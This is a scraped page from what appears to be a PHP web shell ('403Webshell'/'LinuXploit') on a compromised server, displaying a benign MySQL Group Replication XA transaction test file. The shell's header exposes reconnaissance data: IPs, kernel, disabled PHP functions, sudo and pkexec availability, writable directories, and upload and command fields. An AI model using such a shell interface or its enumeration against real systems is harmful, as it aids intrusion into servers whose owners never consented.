403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.71.81.169
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/mysql-test/suite/group_replication/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/mysql-test/suite/group_replication/t/gr_xa.test
################################################################################
# Validate that XA transactions do work on Group Replication.
#
# Test:
# 0. The test requires two servers: M1 and M2.
# 1. With both the members ONLINE. Create a table on M1.
# 2. Execute a XA transaction that does commit on M1.
#  - Verify GTID_EXECUTED and data in table on M1.
#  - Verify GTID_EXECUTED and data in table on M2.
# 3. Execute a XA transaction that does rollback.
#  - Verify GTID_EXECUTED and data in table on M1.
#  - Verify GTID_EXECUTED and data in table on M2.
# 4. Clean up.
################################################################################
--source ../inc/have_group_replication_plugin.inc
--source ../inc/group_replication.inc

--echo
--echo ############################################################
--echo # 1. Create a table on the group.
--let $rpl_connection_name= server1
--source include/rpl_connection.inc
CREATE TABLE t1 (c1 INT NOT NULL PRIMARY KEY) ENGINE=InnoDB;
--source include/rpl_sync.inc


--echo
--echo ############################################################
--echo # 2. Execute a XA transaction that does commit.
--let $rpl_connection_name= server1
--source include/rpl_connection.inc
--let $expected_gtid_set= "$group_replication_group_name:1-5"

XA START 'trx1';
INSERT INTO t1 VALUES (1);
XA END 'trx1';
XA PREPARE 'trx1';

XA COMMIT 'trx1';
--source include/rpl_sync.inc

--echo
--echo # Check that GTID_EXECUTED on server 1 contains all
--echo # transactions.
--echo # Also check that data is on tables.
--let $rpl_connection_name= server1
--source include/rpl_connection.inc
--let $assert_text= GTID_EXECUTED must contain all committed GTIDs
--let $assert_cond= "[SELECT @@GLOBAL.GTID_EXECUTED]" = $expected_gtid_set
--source include/assert.inc

--let $assert_text= 'There is a value 1 in table t1'
--let $assert_cond= [SELECT COUNT(*) AS count FROM t1 WHERE t1.c1 = 1, count, 1] = 1
--source include/assert.inc

--echo
--echo # Check that GTID_EXECUTED on server 2 contains all
--echo # transactions.
--echo # Also check that data is on tables.
--let $rpl_connection_name= server2
--source include/rpl_connection.inc
--let $assert_text= GTID_EXECUTED must contain all committed GTIDs
--let $assert_cond= "[SELECT @@GLOBAL.GTID_EXECUTED]" = $expected_gtid_set
--source include/assert.inc

--let $assert_text= 'There is a value 1 in table t1'
--let $assert_cond= [SELECT COUNT(*) AS count FROM t1 WHERE t1.c1 = 1, count, 1] = 1
--source include/assert.inc


--echo
--echo ############################################################
--echo # 3. Execute a XA transaction that does rollback.
--let $rpl_connection_name= server1
--source include/rpl_connection.inc
--let $expected_gtid_set= "$group_replication_group_name:1-7"

XA START 'trx2';
INSERT INTO t1 VALUES (2);
XA END 'trx2';
XA PREPARE 'trx2';

XA ROLLBACK 'trx2';
--source include/rpl_sync.inc

--echo
--echo # Check that GTID_EXECUTED on server 1 contains all
--echo # transactions.
--echo # Also check that data is on tables.
--let $rpl_connection_name= server1
--source include/rpl_connection.inc
--let $assert_text= GTID_EXECUTED must contain all committed GTIDs
--let $assert_cond= "[SELECT @@GLOBAL.GTID_EXECUTED]" = $expected_gtid_set
--source include/assert.inc

--let $assert_text= 'There is a value 1 in table t1'
--let $assert_cond= [SELECT COUNT(*) AS count FROM t1 WHERE t1.c1 = 1, count, 1] = 1
--source include/assert.inc
--let $assert_text= 'There is no value 2 in table t1'
--let $assert_cond= [SELECT COUNT(*) AS count FROM t1 WHERE t1.c1 = 2, count, 1] = 0
--source include/assert.inc

--echo
--echo # Check that GTID_EXECUTED on server 2 contains all
--echo # transactions.
--echo # Also check that data is on tables.
--let $rpl_connection_name= server2
--source include/rpl_connection.inc
--let $assert_text= GTID_EXECUTED must contain all committed GTIDs
--let $assert_cond= "[SELECT @@GLOBAL.GTID_EXECUTED]" = $expected_gtid_set
--source include/assert.inc

--let $assert_text= 'There is a value 1 in table t1'
--let $assert_cond= [SELECT COUNT(*) AS count FROM t1 WHERE t1.c1 = 1, count, 1] = 1
--source include/assert.inc
--let $assert_text= 'There is no value 2 in table t1'
--let $assert_cond= [SELECT COUNT(*) AS count FROM t1 WHERE t1.c1 = 2, count, 1] = 0
--source include/assert.inc


--echo
--echo ############################################################
--echo # 4. Clean up.
--let $rpl_connection_name= server1
--source include/rpl_connection.inc
DROP TABLE t1;

--source ../inc/group_replication_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit